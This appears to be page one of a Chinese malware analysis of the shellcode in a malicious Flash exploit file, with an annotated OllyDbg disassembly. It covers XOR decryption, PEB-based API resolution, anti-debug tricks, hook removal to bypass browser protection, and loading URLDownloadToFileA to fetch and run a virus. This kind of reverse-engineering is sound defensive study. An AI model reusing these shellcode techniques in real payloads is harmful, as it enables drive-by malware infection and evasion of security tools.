|
目 的: 纯属学习,请勿用于恶意用途
最近几天flash漏洞的网马非常流行,于是我想分析一下shellcode是怎么跑的。
但是能力所限,还难以像大牛们一样定位到有漏洞的代码及观察整个溢出过程。于是,我只能做后面一部分工作,即看看那个畸形flash文件中的shellcode长得什么样子,它运行起来会有什么动作。
我使用的是从网站抓下来的win 9,0,115,0ie.swf。很容易地就在畸形.swf文件中找到了shellcode的位置,在文件头偏移 0xEB处开始。之后我将这段shellcode拷贝到一个可执行文件的入口点开头处,这样我就可以在OD里直接调试shellcode了。
调试过程中我发现,由于flash这次的漏洞,真的给了一个很充裕的空间让编写者尽情地发挥他们的shellcode编写才能,我看到了一个比以往任何一个利用ActiveX漏洞的shellcode都要复杂的shellcode。
该shellcode的功能很全面,不但有一般shellcode的xor加密,获取API地址和执行下载病毒并运行的操作,还有更多的操作使得shellcode更加的强悍而实用。
这些操作包括:
1. shellcode有效时间限制,当发现系统时间迟于shellcode中保存的一个固定时间时,直接ExitThread。这应该是flash网马生成器发布者所做的,可能出于商业考虑,避免别人通过简单修改病毒URL地址而生成自己的利用文件。
2. 从kernel32.dll的输入表中取ZwCreateProcessEx、ZwWriteVirtualMemory的地址,对这两处地址进行 inline hook,hook到自身保存的相应的原始代码中,并对CreateProcessInternalW的前面几个字节进行了 inline hook的还原。
这些操作都是针对MAXTHON等使用以上API HOOK方式对游览器进行执行保存的措施而出台的anti方 式。虽然这种方法早已被提出,是大家皆知 的,但是在以前的网马应用中,由于可用的缓冲区并不是那么大,不适于加入这些额外的代码,因此我一直没有看到还原hook过浏览器保护方法的实际利用。而 在这次,我终于看到了一个实际利用的例子。
3. 使用CreateProcessInternalA进行最后下载到本机的病毒文件的执行。以前一般的shellcode是用WinExec。
下面是shellcode执行流程的分析,分析基本在注释当中,标号(1)、(2)……是代码的执行流程顺序,依照标号便可容易理解整个流程。
首先开始是一次xor解密,每两个字节进行异或,而且每次异或的操作数随着改变。
00407000 > /EB 16 jmp short 00407018 ; (1)F8 00407002 |5B pop ebx ; (3) 00407003 |33C9 xor ecx, ecx 00407005 |66:B8 2245 mov ax, 4522 00407009 |66:31044B xor word ptr [ebx+ecx*2], ax ; xor解密 0040700D |41 inc ecx 0040700E |40 inc eax 0040700F |66:81F9 6201 cmp cx, 162 00407014 ^|7C F3 jl short 00407009 ; (4)循环,在下面一句F4 00407016 |EB 05 jmp short 0040701D ; (5)再F8一下,跳入解密后的代码 00407018 \E8 E5FFFFFF call 00407002 ; (2)F7
|
接下来是解密后的实际代码
首先是取得kernel32.dll中的API函数地址并填入后面的数据区。这里使用的是很常用的方法,通过PEB得到kernel32.dll的基址, 然后通过遍历其输出表,把每一函数名称字符串经过一个加密运算,再将结果与输入的值比较,进而找到符合的API函数位置。
|
0040701D E9 65020000 jmp 00407287 ; (6)解密后代码开头,往下跳到最后 00407022 5F pop edi ; (8)定位自身地址,此时为后面数据区地址 00407023 6A 30 push 30 00407025 59 pop ecx 00407026 64:8B01 mov eax, dword ptr fs:[ecx] ; _PEB 00407029 8B98 A8000000 mov ebx, dword ptr [eax+A8] ; _PEB.OSMijorVersion 0040702F 8B40 0C mov eax, dword ptr [eax+C] 00407032 8B70 1C mov esi, dword ptr [eax+1C] 00407035 AD lods dword ptr [esi] 00407036 8B68 08 mov ebp, dword ptr [eax+8] ; (9)kernel32.dll基址入ebp 00407039 8BF7 mov esi, edi 0040703B 81EC 00020000 sub esp, 200 00407041 85DB test ebx, ebx 00407043 75 07 jnz short 0040704C ; (10)判断是2000的系统还是XP,我这里是XP,直接跳走 00407045 C746 24 C9525E5>mov dword ptr [esi+24], 535E52C9 ; 如是2000系统,则修改下面的数据 0040704C 6A 09 push 9 0040704E 59 pop ecx 0040704F E8 EE010000 call 00407242 ; (11)这里F8就可以了,依照数据区开头的几个加密结果,遍历输出表找函数,把函数地址覆盖掉原来的加密结果 00407054 ^ E2 F9 loopd short 0040704F ; 循环,直接在下面F4
这里填入的API地址依次为(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序) 0×00 LoadLibraryA 0×04 GetTempPathA 0×08 DeleteFileA 0×0C CreateProcessInternalA 0×10 ExitThread, 0×14 VirtualProtect 0×18 CreateProcessInternalW 0×1C CompareFileTime 0×20 GetSystemTimeAsFileTime |
接着搜索内存得到一个“retn”命令位置(实际上不一定是retn命令),用于后面的anti-debug。
|
00407056 40 inc eax ; GetSystemTimeAsFileTime 00407057 8038 C3 cmp byte ptr [eax], 0C3 0040705A ^ 75 FA jnz short 00407056 ; (12)循环搜索内存特征,其实是为了借用一个retn代码来改变程序流程反调试 0040705C 8946 30 mov dword ptr [esi+30], eax ; 这里搜索到的是7C801881
再接着遍历kernel32.dll的输入表,再取两个NATIVE API函数的地址。
0040705F 6A 02 push 2 00407061 59 pop ecx 00407062 E8 9E010000 call 00407205 ; 再次搜索输出表得到函数地址 00407067 ^ E2 F9 loopd short 00407062
这里取到的地址是(以此时相对esi的偏移,即下面调用时使用的[esi+XX]中的XX为序)
0×24 ZwCreateProcessEx 0×28 ZwWriteVirtualMemory |
接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。
00407069 6A 01 push 1 0040706B 59 pop ecx 0040706C 68 6F6E0000 push 6E6F 00407071 68 75726C6D push 6D6C7275 00407076 54 push esp ; ’urlmon’ 00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA 00407079 E8 10010000 call 0040718E ; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞 0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp 0040707F E8 BE010000 call 00407242 ; (14)又找函数地址并保存,直接F8, |
[1] [2] [3] 下一页 |